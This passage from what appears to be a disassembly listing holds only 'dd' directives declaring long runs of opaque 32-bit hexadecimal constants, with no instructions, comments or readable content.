		dd 87DEBE29h, 45E2E9h, 2C1FE50Fh, 62C6C95Dh, 0F063F09Eh
		dd 39E3BC81h, 56AC303Dh, 70E8F47Ch, 0A31A4C90h,	1458C845h
		dd 51B20AA0h, 85E80657h, 4E0DA66h, 813E698Ch, 4EF67D40h
		dd 97D017A8h, 4DB44604h, 9A483081h, 0AC396894h,	46894337h
		dd 0DE42785Eh, 8C87AD80h, 0FE0F9606h, 0C0D9B00Dh, 0E61C8D77h
		dd 750A03C7h, 0D045909Fh, 3A502038h, 46AD07B1h,	0C6450FEFh
		dd 0F1231830h, 975320BAh, 0EDADA607h, 26337303h, 0B7B4E106h
		dd 0F713F0h, 0C794DD9Ah, 46ED93Dh, 6034200h, 0F3054E66h
		dd 0E8417A1Fh, 78AB7E53h, 1CEE52D3h, 442E970Fh,	0E6004848h
		dd 0B306D926h, 1CA33ED6h, 44A9B1Dh, 60E7286Eh, 38468811h
		dd 1BACC2Eh, 57C2280h, 6D1EA33h, 305059E9h, 1E039F4Eh
		dd 2601CB82h, 7330013Dh, 0F306D08Ch, 0D861CB1h,	9683E1F9h
		dd 8021DD98h, 61C6931h,	0F8A2FD3h, 4F1A9312h, 0C0384E2Ah
		dd 0D461E13Fh, 606641C5h, 0B7738400h, 159305B2h, 1C19FE55h
		dd 0BC7E4C0h, 0A8C38004h, 42990AC6h, 0EA808038h, 0CD93AAA6h
		dd 26A9B183h, 2714B8D2h, 0FA5522D6h, 0AE92060Ah, 4DE07804h
		dd 0FDFE3667h, 0ECA8E600h, 827CF4A1h, 19F976E1h, 0E0E094CEh
		dd 0F8CD10C6h, 0B346094Bh, 0E4140375h, 1708107Bh, 0E0701FE1h
		dd 2065930Ah, 0A324616Eh, 26019D1Bh, 9233014Bh,	68E408A1h
		dd 843F0FBCh, 4B86D0B8h, 44F82550h, 0EE192B15h,	6D6C806Ch
		dd 81490CC8h, 4D285866h, 7A010408h, 0DAC609DEh,	10D37002h
		dd 0FD535840h, 8E191D03h, 0A11B4CB3h, 84421EE1h, 0D3E4811Ah
		dd 7880D56Eh, 0AE1C04E6h, 10C7FBDDh, 0E6CFCDAFh, 53180648h
		dd 210F7C7Ch, 0E0F49E62h, 9561498Ch, 0BB6E70C6h, 0FF931ED8h
		dd 0D70E06B8h, 0AC6108B9h, 2CF4B318h, 50089887h, 0FA2BC31Ch
		dd 0CE2FAEC0h, 0C19822F9h, 9DF21A38h, 0B4069C53h, 7C1E7300h
		dd 50ACB304h, 450B2008h, 3FE68542h, 0CA8C04D2h,	45C8E1Eh
		dd 204130DEh, 7462091h,	0F8289C54h, 0FDB112EFh,	0FFC422C7h
		dd 5E53C040h, 592E80A1h, 0E904E12Ch, 8689852Bh,	40283161h
		dd 1BBFCCAh, 1D65A5Dh, 4EF97466h, 73F30684h, 2051F19Eh
		dd 548E1FC6h, 769FD03Ah, 75D053FFh, 3505047h, 0CD391548h
		dd 6781258h, 0EEC0A8Ah,	30BF51A8h, 0C7286E07h, 726AA8CFh
		dd 8B580C50h, 0A879330Ch, 4ADA4629h, 7D013067h,	0DAC0D272h
		dd 1826288Fh, 1DB064B4h, 82FF5F2Eh, 6BF886A0h, 26F89612h
		dd 15FFC963h, 0BF18A059h, 40F52855h, 462F7498h,	78254A8h
		dd 27F302EAh, 0C5D3817Dh, 2284AADh, 0C03A32C2h,	2DC6025Bh
		dd 0EA2E8C40h, 0F3125606h, 7A0862FAh, 24989058h, 0C94FFBAh
		dd 557041D4h, 968710DFh, 4F830FAFh, 30834E6h, 3748B78h
		dd 55FB60D6h, 0A6700989h, 209C7D69h, 0B99E9604h, 408093CCh
		dd 0B117AE06h, 2860C068h, 906056C7h, 18E9E628h,	43CAE06h
		dd 21834E9Fh, 3646025Ch, 128C7F3h, 23B2D67Dh, 1C7C24E6h
		dd 3C8E2098h, 799BC505h, 0D84A454Bh, 4E09EC54h,	4CFC23FAh
		dd 88809D4h, 0A89612A1h, 0B010AF38h, 8066919Bh,	0AC9CA0B4h
		dd 9F792116h, 9C816841h, 82C66040h, 249C9006h, 7028C445h
		dd 2510444Ah, 0A6145AAAh, 7852D4C9h, 0BA5D04C1h, 6598644h
		dd 0E0C80263h, 0CC1252ACh, 0C2E82CC1h, 0E631844Ch, 908E2DD8h
		dd 7346D002h, 0B8A24461h, 0FC672758h, 0E33CEA02h, 4C904485h
		dd 604CD01Dh, 14B676B0h, 0CCA10575h, 23E83186h,	48388030h
		dd 40E61710h, 50D2A9CBh, 18C1082Ch, 5198A70Ch, 0FD58C3C6h
		dd 0FAD91918h, 0C7DAD3A8h, 0EF870FA4h, 0A639C14Ch, 0FC05CF24h
		dd 30BF9F0Ch, 74BA5295h, 0FD6869Ch, 613393Fh, 40382A0Ch
		dd 0E75B1CA9h, 30B0EA55h, 9150CD1Ah, 8E121C60h,	0AC3892F7h
		dd 0BE990C68h, 46605783h, 0CC61EF2Eh, 8F43282Bh, 89FEB991h
		dd 4EB11187h, 1C61970Fh, 0C3003208h, 3DAE68BAh,	0CCB046h
		dd 0E380DEA6h, 7C550F9Fh, 0DA068F03h, 701497h, 34474138h
		dd 65640ED8h, 0BAD21D39h, 6D91860h, 0B67C20h, 0EEF4FB15h
		dd 121BE5CEh, 0BCD148C0h, 3A2463DFh, 6101F6AEh,	0BD2B1A45h
		dd 2C40E8D9h, 0F1C80D09h, 0E5BB81BEh, 38B78937h, 0F43230A9h
		dd 7738DE09h, 56910304h, 23799A03h, 0BC0023A0h,	0DC0EDB34h
		dd 6A208660h, 42A11705h, 47050015h, 0BC25AF4Ah,	968C410Fh
		dd 930E8F59h, 3D016E01h, 0E0E41B8Eh, 55040397h,	4E09708Dh
		dd 0E60010E6h, 42F644DBh, 7F62F8h, 0BD037C39h, 87C93585h
		dd 867AC400h, 32EEEB0Bh, 5F7403D4h, 9EBF4D04h, 75699CA8h
		dd 110CB71Ch, 0B5A14940h, 720B33h, 0E81C1F81h, 22CC04AAh
		dd 0A685100h, 0A08C8556h, 0FFEC076Eh, 0C04276DCh, 10BFCC28h
		dd 0F4AFFE3Ch, 7B536700h, 0F63D8A93h, 8FE40019h, 0F36497B5h
		dd 0AA007F16h, 2599677Eh, 3DDECBFh, 1E415244h, 0B029CA92h
		dd 631E049Bh, 79FA9505h
		dd 8680C7Bh, 9819D030h,	181DDC00h, 267DB47Ch, 371B3DEFh
		dd 0C0D8F5BFh, 0DB191E31h, 422A0818h, 1D97100Dh, 20743282h
		dd 111C5F22h, 0E7B6E8D1h, 0E0C4B81h, 21B55922h,	22082913h
		dd 444F45DFh, 23AF4318h, 2DC9EAF7h, 30C03BCh, 25180BBDh
		dd 3F19C70Ch, 5C5E30A8h, 0ABA97B63h, 6140E728h,	19BA835h
		dd 25D6C63Dh, 0D0B0CF18h, 6700EB2Dh, 65F2999Eh,	0FE5F7A5h
		dd 0BE374668h, 0C0453CC7h, 0AA35BC14h, 9A57E903h, 1F73B1Fh
		dd 0EA3C0630h, 0E059CD12h, 0C572D71Bh, 39057430h, 1DBAFB9h
		dd 467111F1h, 0CCC13087h, 0E6008524h, 3731B215h, 3E2349E3h
		dd 0BA98BD5Bh, 0C5D994A2h, 68FF1201h, 6B1B3CFAh, 774454D0h
		dd 18C000E0h, 5EFCCC40h, 3202A5DBh, 6A01BF50h, 574C9089h
		dd 0DA833072h, 0D8ED8F10h, 0FFB4A700h, 0D156CFF1h, 0C7E6000Fh
		dd 8043B6E7h, 94008E1Bh, 879B205Fh, 0EA86AEh, 6B51C83h
		dd 381597AFh, 8116992Eh, 9F490500h, 0AED2E843h,	8731EE1Ch
		dd 7D403F9Eh, 6FD9834Ah, 1FEB0042h, 0D17045Eh, 0C0A5BFA1h
		dd 868CEA40h, 0BAD3009Bh, 0D96C298Ah, 161859BDh, 0E82842AAh
		dd 201070C5h, 5300F6C7h, 5292AD06h, 7C89E1Fh, 7A227E91h
		dd 645C3AA2h, 9A1C8061h, 0F400701Ah, 0C3CD1702h, 1F1B7F66h
		dd 87014CDAh, 4019B261h, 992F42D9h, 5AA9C513h, 0DC32FB00h
		dd 0C0759120h, 0FC674CB0h, 58125CDAh, 10035541h, 0F29BEBC1h
		dd 0B0D09361h, 3158A508h, 272930D8h, 92ACE446h,	96BC5D00h
		dd 8A192645h, 0D6053B3Eh, 0C3FC7200h, 0FD290493h, 0DD7FF01h
		dd 0F62178D5h, 3820C430h, 1F001AD1h, 4692B4CFh,	1EE8CC35h
		dd 8AD9A550h, 9A0E2E00h, 858FB516h, 745B00EFh, 14E2F881h
		dd 0F2004F93h, 3168AE6Fh, 1733AB6h, 869515Dh, 0FC42390Ch
		dd 9E0E1EF5h, 80C1724Fh, 0ADA96B34h, 309AFA6Ch,	23406D1Dh
		dd 0CE005064h, 0F6D0D471h, 726CAFh, 27CB1876h, 35CAA8D7h
		dd 58324203h, 0C802BE8Bh, 734C1DCh, 5CB5FD78h, 0D57690A1h
		dd 7F00CC55h, 38B05BF7h, 3DC4D3Ch, 900602B4h, 0B1008132h
		dd 9F9BE262h, 77025A6h,	3586C00Fh, 2FCDB07Dh, 0EC03AE6Ah
		dd 0D1DD5859h, 6CE00CB2h, 0C041200Bh, 0E2D3A401h, 654D3656h
		dd 0D833208Bh, 9B457E80h, 8146DECh, 0AEACF4C3h,	2F7DD800h
		dd 47EF6C0Ch, 42DABF00h, 31242C7Eh, 0A1D60030h,	459F4357h
		dd 0CD002836h, 0AAA684E1h, 299D22B4h, 54447E63h, 84A8B7ECh
		dd 766A114Dh, 1D097A6Ah, 434140Ch, 532C9CA2h, 12EAEC2Fh
		dd 0DD03DF37h, 0C8BD7FBAh, 0E0E5ECh, 65AB8ABEh,	0F46AF8BCh
		dd 0B5549B00h, 0FD38D74Fh, 0E1E300AAh, 3E2D7821h, 0BE04488Fh
		dd 2EF340F0h, 0EFDE1090h, 92961DAEh, 50AB8071h,	0E86765BCh
		dd 0CC9BE715h, 0D3218084h, 48730DA0h, 7E3E247Fh, 0C06E281Eh
		dd 85D1AE4Bh, 0C90097DFh, 0E9E7275Fh, 511884h, 6AEF9E08h
		dd 356DA913h, 5ABD7105h, 840076A4h, 8E7C9BF2h, 0A8990022h
		dd 92744616h, 0D205606Bh, 27B42C6Eh, 0B249D020h, 5FD500CEh
		dd 0ED395565h, 64918A87h, 0BE7F005Ch, 33ADDE11h, 74005FF4h
		dd 87EF270Bh, 1E82938h,	0AB15688Ah, 0EBD3B005h,	349849C0h
		dd 0AF0C7A48h, 27CECA06h, 0D612D897h, 4277496h,	589F88F0h
		dd 0F57546h, 99E30EFh, 0D72796Dh, 8169F217h, 0C1770FFFh
		dd 61A3D900h, 5F001354h, 0DAA4250Bh, 274B7EBh, 0E0C7B879h
		dd 0C3DD4AA9h, 5D83F0BAh, 8FC0000Bh, 3CEDBD28h,	343961FFh
		dd 0BA390041h, 2EF5A589h, 12F30E4Fh, 0C60705Dh,	76618EFBh
		dd 0F044C052h, 0C0577A8Fh, 93D76878h, 5FAC712h,	0FF6B2618h
		dd 34B218h, 0DC06FBB7h,	45AD21A9h, 16DD2706h, 320027Eh
		dd 281F7BC0h, 110203A6h, 0B31694D6h, 20152604h,	801A822h
		dd 7790DD3Eh, 0C1B7E643h, 97000E24h, 0B3000BF0h, 79540334h
		dd 0C385780h, 0A5472E8Dh, 4500FCF0h, 21F6C429h,	6918063h
		dd 93FF5107h, 2003817h,	780FDC6Eh, 3B67554h, 667398BAh
		dd 2E909205h, 0EF28F9BCh, 9F249C5Ch, 0F15F822h,	4E790784h
		dd 0EB50FA33h, 623AB5h,	34D7673Fh, 0C829BC43h, 266E90A0h
		dd 66DCB650h, 85F95D61h, 4080DC57h, 4F6F7837h, 631E6CCBh
		dd 914EA9B4h, 0E41CCA94h, 6E69E002h, 11B09092h,	0FF6A00A4h
		dd 57632DB3h, 0B8019C42h, 855A0233h, 24C4DE9Dh,	28EC18h
		dd 82EE0472h, 0C0139220h, 0C5940C3h, 0DFC00003h, 0B587E505h
		dd 0BF0018A3h, 0C467908Ch, 3B1A462Ah, 40014A1h,	657EDA7Fh
		dd 0A61240EBh, 0CF00B8B5h, 0BE60DB79h, 927D53h,	0CA8D48F8h
		dd 0E7DCF346h, 0A84F7500h, 0B093E26Bh, 9DAC3B66h, 0C5104D03h
		dd 0D7C8D23Fh, 0ED0BF4B8h, 5EEB0Fh, 4AB07570h, 0C3AF3CFDh
		dd 0E39D4100h, 0D8A4EE8Ch, 734C7A03h, 0E00984D6h, 0CB7E7Bh
		dd 6BA70203h, 6D93DD43h, 7D0FD172h, 0A0E6B45Eh,	713E30C6h
		dd 5A71F12h, 0EB75004Ch, 3122B3CFh, 320838h, 0EA257EE4h
		dd 24943A34h, 8CFCAFh, 0D21084CEh, 1B1FE404h, 0B780B6E9h
		dd 0F91CB3C7h, 984C0060h, 0D91327E6h, 0CD0029ADh, 0CC4BD80Fh
		dd 87D323h, 7EDB72A3h, 1837E778h, 29E99603h, 0E04CB0DAh
		dd 3AFF0BEFh, 6B0030DCh, 6581ED63h, 6100F402h, 4C1C1FA4h
		dd 9DF0F5h, 0CD851A91h,	5DBD7B8Fh, 8CFA1D00h, 0D585039h
		dd 0D68D00E5h, 5CFC71DBh, 0BE00B037h, 0C91BBFBBh, 114B987h
		dd 0B652F53Fh, 0E3BA0C8Ch, 1B59E090h, 2803BB01h, 0B78A62BCh
		dd 38CBFCh, 320D9E7Ah, 0AC9DD13h, 7D1C6D00h, 5FC3E5FFh
		dd 33D20090h, 528A80CFh, 0EE1EE804h, 0D6402C14h, 187E60B7h
		dd 0C25400D3h, 0D0E202A3h, 12E08688h, 0A00FFF0h, 0C389BEF2h
		dd 0F2FB1A8Ah, 1FF90FEBh, 860096F6h, 1622778Ch,	0F1DC8900h
		dd 9C21BA20h, 84183CD2h, 24254580h, 0C04BB13Dh,	8E8BCB3Dh
		dd 0C04153B5h, 0ABDFFA2Bh, 93E33F86h, 9600213Eh, 249295DAh
		dd 8507AF8Fh, 6A727433h, 0CBD4C840h, 207093Dh, 6380D938h
		dd 2303CA18h, 6F57F001h, 96CDF7E6h, 145448ECh, 0C41BC326h
		dd 0E1089B00h, 0CD6EC845h, 0AEA88A4Ah, 0CAD54F00h, 2F0BEB10h
		dd 0C4A3B800h, 0F937DBB4h, 0FA160088h, 0D74D99F5h, 5430AFA9h
		dd 0D6344CDh, 4CB5000Eh, 0BF5FDA1Fh, 2000798Ah,	24F4C7CFh
		dd 156366h, 0A96AF7B1h,	0C190BD3Bh, 974A1B00h, 1C517FBFh
		dd 0FAAA02DCh, 86E6718Fh, 5FF8F2C0h, 9B587707h,	80BF4EBDh
		dd 7FCE9ADAh, 6E550797h, 805D30E7h, 0CA36C3Ch, 61D24Ch
		dd 54E47A22h, 1AAC42h, 2C253CBh, 0A51080F2h, 476E2603h
		dd 0F913D6DDh, 5AE06C8Fh, 32340083h, 63BEB157h,	640073DEh
		dd 440A27C6h, 5330EC8h,	8B3B3EACh, 7DD000CAh, 5B111575h
		dd 3200B4FEh, 6D3CB02Ch, 7BF1AA7h, 0F049793Bh, 76EBC011h
		dd 0E00F437h, 61A5856Ch, 0F7CCB15h, 553E5F90h, 44C76380h
		dd 5700B732h, 2F64A8A3h, 3C9F3F2h, 6F6418Ah, 81B0DC20h
		dd 231FFA26h, 600E45D9h, 35478115h, 1ED8DF07h, 0D60A00EFh
		dd 14E5D33Ch, 0C1005D96h, 0B34A858h, 9524F1h, 0D75047F4h
		dd 0B61BC77Eh, 0E660E100h, 489BC682h, 0D9C0073h, 0D263A66Bh
		dd 69004B5Dh, 0FD5AAE0h, 0B704E8h, 0CA898B26h, 0F6F32430h
		dd 0FBBDA000h, 8FFFC01Eh, 0EE480232h, 56E51754h, 7CE660FFh
		dd 0DA950B60h, 0FB80D2DBh, 6D654347h, 0AAACC600h, 915EA33Eh
		dd 29A801D6h, 9C84B608h, 1FB920B4h, 0ED78E00h, 0D0AFBC46h
		dd 44D613A8h, 0DC42005Ah
		dd 4E60ED94h, 20CD93Bh,	17520E7Ah, 0AA144842h, 0CE9C3993h
		dd 0B00F7D4Ch, 58CB20A1h, 0B1591B02h, 0BFCFCBC0h, 0F896290Bh
		dd 88A300F4h, 6D2130h, 0CB820DBBh, 6E4EA0CAh, 54FC984Eh
		dd 0B6028800h, 9FF4181Bh, 370055B0h, 0C30B202Eh, 1C5076E2h
		dd 0BFE08492h, 0D046FA14h, 6486C602h, 76E0C0EDh, 0AF5881BBh
		dd 0A9395Bh, 83C1D803h,	1CEA1029h, 80777B8Ah, 95A81970h
		dd 0AC0031B9h, 0A382E180h, 85236Fh, 1FFDEBA4h, 7F49B55Ch
		dd 792C4200h, 683CF509h, 0EC73D8h, 2544B74Fh, 0B9F42415h
		dd 0D34178C3h, 280AB0D9h, 0BC4F00ACh, 0BDA36594h, 5200D54Dh
		dd 89FD667Ah, 0D71286h,	0EA131627h, 68879906h, 0A6D22E00h
		dd 0D6A1AF0Dh, 237532h,	96B4204Ch, 40988AD7h, 69F5F0Eh
		dd 0D4CE1C44h, 593E20F8h, 0D63395h, 9B163CE2h, 92BFC61Ah
		dd 542E741Dh, 0ED0A4C80h, 719FA96Eh, 0F13F0069h, 0C7F78DA4h
		dd 360040DCh, 896152ADh, 1EC12AAh, 5E9D02C3h, 0F8BE181Fh
		dd 43000B74h, 0A4B173EAh, 7985B3h, 2540A004h, 2C1B922h
		dd 8400BD72h, 5FD1B634h, 2E7B4FEEh, 0EDFF565h, 0C9E04B1Ah
		dd 11FFF224h, 0EE2D9800h, 88487491h, 624400A0h,	0B6F61E26h
		dd 0E5E04F3Fh, 4253661Eh, 0F2EF9E80h, 1A9955h, 0F2E849Fh
		dd 6FC33470h, 7ED13300h, 0B5F8C189h, 6DAC0B98h,	0AB008D9Bh
		dd 0EE70CBFFh, 0E51F1B71h, 5200D66Ch, 1F629DBCh, 0D21200C7h
		dd 8EF01085h, 8F007EEEh, 0B763DE1Bh, 0F02C042h,	0F91156CFh
		dd 3DAD6100h, 0D009473h, 0AE0A6DFEh, 2ED528h, 39E03FE2h
		dd 49751307h, 150B3100h, 0EF60EBDCh, 0D1E400BFh, 9BB520CAh
		dd 767C851Dh, 0DF4A231Eh, 346D6AC1h, 4BD0C04Dh,	783C58DDh
		dd 13006F3Eh, 45F18FDCh, 522E0BBEh, 3A075E8Eh, 0D460FA73h
		dd 0E6D1E3C0h, 390A1CB0h, 619DF1h, 0DFF6CD6Bh, 66000BB1h
		dd 0DAEF9ECh, 2F74B7BAh, 7E50B9ADh, 0BD563Ch, 29F520Fh
		dd 120E6C9h, 871735F1h,	8009F67Ch, 471D7E74h, 389922FEh
		dd 36263A19h, 0A35E0E8Eh, 0B11C7720h, 2B00F717h, 0C6412591h
		dd 2472CBDh, 65D19952h,	81400EE9h, 903E60F0h, 8BF10040h
		dd 0AC486B7Fh, 0EF5703C5h, 0B5F0A127h, 0C9210A88h, 18966Eh
		dd 0D247BD7Ch, 233E1C60h, 0E5D9C017h, 69D49F4Dh, 91BCAE00h
		dd 90EE3A08h, 26830038h, 0FAA7318Ah, 60BDE2A6h,	3DB1FA8h
		dd 0D7323BBAh, 93A8F199h, 0CA003318h, 0E643504Eh, 5166DEh
		dd 6B77633Dh, 0C9A14B3Ch, 0D248E800h, 0D9CC98FCh, 0B1CF3EF6h
		dd 586F1Eh, 7EDE26C2h, 123FE99Fh, 961180B3h, 6863A85Bh
		dd 0D61700AEh, 350CB015h, 6A00E576h, 0A78E736Fh, 8BEC39h
		dd 0F7DCEE8Ah, 4FA6041Dh, 0EF959A00h, 0A242AC2h, 937209E8h
		dd 9003BE7h, 78022BB8h,	15B73F00h, 531E062Fh, 89DF3C19h
		dd 0B6291A80h, 4A7008C1h, 440059FEh, 406872A0h,	1E07D4Fh
		dd 3C5BB0D6h, 0C45AE13Eh, 0D75C856Eh, 0F6FE0BBBh, 93CDC6Ah
		dd 0E2810C93h, 0D173B78Eh, 9D99D1D3h, 81802C18h, 3F878FFDh
		dd 31BE60A8h, 2FC64F8Ah, 4B1D22F2h, 0B628A51Ch,	0A420F760h
		dd 4B7F73D6h, 778380B5h, 0D41E795Eh, 60F0ED4Fh,	509310h
		dd 667B2D04h, 0C6730F70h, 977560Ch, 1FECA1E0h, 7593B7Dh
		dd 10125FA5h, 3D238136h, 0D051C203h, 0C560FDEh,	0DAE2ADD8h
		dd 0D148E798h, 62406082h, 95561Ah, 8EE69B9Fh, 90A32AE4h
		dd 272E0801h, 94F075F2h, 8540AFCFh, 263C8E9h, 31087135h
		dd 0C48026ADh, 61A27787h, 0E2B75300h, 0D6D3D9E3h, 9BFB0165h
		dd 0E64C6CA4h, 900AF397h, 80E9E4ABh, 5B2F9C00h,	0E430Ch
		dd 0B75E97D8h, 0E8373E5Ah, 1C031F7Eh, 0C964A10h, 0E63000EAh
		dd 367A9367h, 0A717A5E8h, 0F60CEBBBh, 1E3A513Bh, 0C6487010h
		dd 0E87EE4EEh, 0FF0418D1h, 20962F00h, 92670524h, 0DCCC6100h
		dd 0C5F043E2h, 17252988h, 0EDC606CCh, 4EAD09Ch,	4490E574h
		dd 0A3FBEA7Ch, 0A653418h, 4D094C2Eh, 99A2h, 976298D5h
		dd 0E30CF807h, 0F4EAD76Dh, 16A1183h, 0EA19868Dh, 4328848Eh
		dd 0A1211812h, 8C230884h, 24457945h, 181E15ACh,	668A60D0h
		dd 1891950Ch, 3D889C21h, 482E458Fh, 83606954h, 81EB968Bh
		dd 7710DEEDh, 750CA191h, 0A2F01852h, 0BC61C16Ch, 8E992124h
		dd 425F1D08h, 4882F6DAh, 67105EC9h, 550CA0F3h, 4E53845Ah
		dd 9C592990h, 18F9E78Ah, 2A0CE515h, 0F1605404h,	8564BB61h
		dd 91B262B6h, 0C826016h, 2211F0DDh, 344DD980h, 32315C67h
		dd 3C00D649h, 23D48094h, 790ED29Ch, 209A0077h, 57E68C8Bh
		dd 0D1F0B99Fh, 75D3FE00h, 94FCB51Ch, 0AE8513D8h, 403C41CDh
		dd 518D6D84h, 0C1DBB098h, 0BDC20786h, 0DA8CA071h, 0EC545116h
		dd 22963D3Eh, 46A8339Ch, 0B95FCB83h, 0AA8C45Ch,	0D3B6C32Fh
		dd 0A1EE9300h, 6A049FBh, 0C4A44DB9h, 0FE3DA863h, 4C6D89F0h
		dd 1B60A0D7h, 0FBF3EC51h, 0E7801C4Ah, 0FF2E9DCEh, 7433B112h
		dd 3DC10840h, 1F554F07h, 98288F5Fh, 7AA350F6h, 0BAEACA02h
		dd 0A02FA1E8h, 313FFB8Ch, 0F8D090B0h, 0A7FD3098h, 5BF28A28h
		dd 0E24A3015h, 5D2E03D4h, 3B923CCh, 0D1B3DD51h,	21DD29EDh
		dd 0D0129414h, 50EFF4EBh, 744DC434h, 2EDCAE00h,	0F7BE427Dh
		dd 4861EE33h, 0F604E4FFh, 0C0ECAB53h, 146785C0h, 440AA800h
		dd 0C7957A75h, 64A200EFh, 0FC1C0B8Ah, 0B8C401B6h, 0FB05EB8Ch
		dd 98A886B7h, 84ADC900h, 0A3545327h, 0C7A0B0Fh,	0B301C5A6h
		dd 0D02393FEh, 0A20624C6h, 42E4AE87h, 7D9F1818h, 64CED1B4h
		dd 455D80C4h, 5E798F38h, 6A448914h, 880178C8h, 0A3553A80h
		dd 17C582E2h, 0A4D1CFCh, 0E3C1C014h, 106F98C0h,	2B80EE59h
		dd 3C38B262h, 2C303F92h, 12080588h, 2FDBAB1Dh, 2011A60Bh
		dd 85C3A36Ch, 0F7C00B51h, 18A11830h, 8E04F0A6h,	0CC31BA21h
		dd 12E1879h, 4433F982h,	0C530F88Bh, 0A6488E5Ah,	0C0849549h
		dd 7C531333h, 3CF44952h, 2657D500h, 0EC070A8Dh,	64093C24h
		dd 7CAA1780h, 0C2B98081h, 5E4B1F81h, 1A268064h,	89B850C9h
		dd 1F55042h, 3F3A3603h,	2EABA024h, 8FD48923h, 0ECEC72A3h
		dd 0EB31CCB8h, 2DD9A037h, 0AD230500h, 8202F4FEh, 0CBF5E318h
		dd 95A08076h, 0C4E51D63h, 8088C1E4h, 83613F4Ch,	0DC05B4B0h
		dd 2F4170C9h, 8F9F8040h, 24C01760h, 8310C19Ah, 82E97DFDh
		dd 34E356EAh, 2141781Eh, 29C41F83h, 5AA122E5h, 0DBB63404h
		dd 8C885AFh, 2A09A32h, 392924C5h, 74484D44h, 0A0285322h
		dd 2F1490BDh, 58D0DCF2h, 30C6063Eh, 18E9E3F0h, 0B0E6FB59h
		dd 0E09070A4h, 0FE023085h, 38377F28h, 0C8A0DE5Bh, 0E449AC4Ah
		dd 89CA0400h, 10D31370h, 7354FBDFh, 0A2181230h,	96480265h
		dd 0B8851514h, 94E0402Bh, 0E1DC7B49h, 0F4C66E0Fh, 0E4A2846Dh
		dd 0F9F1DC8Dh, 3F317830h, 0E10A2501h, 8A883E6h,	1206E31Dh
		dd 899B4Bh, 2842DE94h, 228D61B5h, 0A0D7CB28h, 0E24B1D08h
		dd 7B94805Eh, 5665593Fh, 0ECE0BF51h, 9600C0FEh,	833675BBh
		dd 399BA477h, 8D016E28h, 74ABED2Bh, 828C33EEh, 20126A3Ch
		dd 808203B8h, 0B050A448h, 1FCC22E3h, 2AEC6662h,	7BA0348h
		dd 0BC049C14h, 3337E5E0h, 0EC0638h, 32A20AC9h, 9250A6BFh
		dd 0B7271F4Ch, 0A996C234h, 44C061EDh, 0BF161A75h, 48702AA4h
		dd 1EF56EBh, 0DA19920Eh, 24572E84h, 3A0CFE84h, 30CE4E98h
		dd 39CA627Fh, 24C6461Fh, 918C900Ah, 0DB0EC456h,	897CC373h
		dd 0C7100955h, 40AF4332h
		dd 21082880h, 0D549AFD3h, 0C2C60A08h, 0A9828C70h, 0C882DA45h
		dd 735E3A0h, 3AFD64D0h,	0D10CF509h, 486B5AD0h, 0FF00FAA4h
		dd 93BE9EC1h, 607E4678h, 32CA59C3h, 9080639Fh, 3A30F826h
		dd 0F513FFDAh, 145D0Fh,	53E67CD3h, 831432A9h, 24C1DF4h
		dd 0F9288EDh, 0A00884DCh, 1588110Dh, 5E2C8408h,	40118A08h
		dd 0DD470090h, 7A3FA5EBh, 210AADE8h, 0A0C34AFCh, 36F81E80h
		dd 2C2DB1h, 0FE3D1C6Ch,	9A0C19EBh, 0AB45C07h, 84108E76h
		dd 1F02E190h, 299CF342h, 0A033E04h, 0D228B080h,	0F8EA1900h
		dd 20F1CF3Ah, 0CB90049h, 0B76912B8h, 83FB119h, 0F141E0E9h
		dd 4BCFBh, 0EF9D5AD4h, 0F212050Ch, 791C38C0h, 0C1F630h
		dd 0B3B5CE9Ch, 8B2AC9C4h, 0B2185303h, 78C714h, 7BED3C49h
		dd 76553D98h, 0D6BF0203h, 98162D61h, 30749C41h,	2CB09D5Ch
		dd 0F60752D0h, 0A2B6F0B9h, 2EE90420h, 8C760058h, 7F3C7DA8h
		dd 9B00F343h, 142D93E7h, 0DEEBB620h, 0B5188051h, 4E15F62Fh
		dd 0D8EA540Ch, 3DD211A1h, 0A8815CCBh, 0DAB5BB21h, 8D3048DDh
		dd 77B13065h, 1BBA4841h, 2ECD7C0h, 84B979ADh, 0D532D001h
		dd 0C64AE31Ah, 0D9F83880h, 291C1518h, 211BB1Dh,	0CAE00982h
		dd 9044633Bh, 34DA646h,	0DB0EF21Eh, 0D6E82D96h,	1100C20Ah
		dd 4B25E12Bh, 739B9A6h,	0C486E3FEh, 846010B5h, 993880EBh
		dd 0A6792DBh, 0ACB94207h, 8B8FA180h, 7BA3005Ch,	0EA15FDABh
		dd 3400E9EBh, 1D77D2E5h, 18F7003h, 0B37A7DCh, 0F761592Dh
		dd 17431280h, 4E08BF00h, 0EF26DEA9h, 0B85B2492h, 59710014h
		dd 2D4D7E7h, 0F0007F77h, 1F78135Ah, 97049A4Fh, 0DA001870h
		dd 9937D9E0h, 1C940h, 0BF675158h, 29632C2Fh, 1F4F3F00h
		dd 2EBAB1B3h, 0E20F00B7h, 71D694F9h, 38011A18h,	0CFE7AE47h
		dd 24CDA1BBh, 13E12D4h,	251392DDh, 0E4794827h, 157D849Ah
		dd 0A10ABE00h, 4D6826C7h, 170E840h, 0E8F2EB4h, 0F88B8CAAh
		dd 85EEFCA4h, 0D7397F72h, 7C9586Bh, 9617EC1Bh, 0CD86ED90h
		dd 62263A04h, 5EEF7686h, 0DF7960E6h, 94B18D00h,	7DF082CDh
		dd 0C19C0DDh, 0A544708Eh, 7FE84E4Eh, 0CBE44700h, 306C3E06h
		dd 89933214h, 0EB39008Bh, 0A2F5AE64h, 6B53ED2h,	77098200h
		dd 43C43C8Ch, 9F9D7018h, 7B40A58h, 2FBE965Bh, 0E8003EEDh
		dd 2D1E49E4h, 0DEFCE318h, 79FDBF8h, 0A772A5A4h,	0DF24835Fh
		dd 0D9901800h, 0F995061Dh, 6EC800F7h, 0A73D762Ch, 0D100E55Eh
		dd 0DB2E181Eh, 0C881982h, 0F37CA8DCh, 380374D1h, 1E775903h
		dd 69719811h, 8E470076h, 1FBE2214h, 0E000A8A3h,	236C2AD0h
		dd 0A72497h, 0E4D77594h, 14D53301h, 9841E800h, 4813E9FFh
		dd 0CECD03F9h, 5F21A24Dh, 0B3AF72D8h, 625EFE00h, 0ED8D4E2Fh
		dd 71D318D6h, 201008BFh, 3B0BD70Eh, 0F7009F23h,	0EA31FA6Fh
		dd 0F8CC5BC7h, 72F10078h, 8A71E57h, 343FEB3h, 52200FAEh
		dd 0BBC06C62h, 0CB018219h, 0BE37672Ch, 8B400BD2h, 3FBAD3D4h
		dd 0C7839C06h, 0AFF211E6h, 0A885DBE8h, 0CC8F80Ch, 7377783Dh
		dd 0CBE30082h, 78C253E5h, 2E006B26h, 0BE1E67C1h, 0AD852DDh
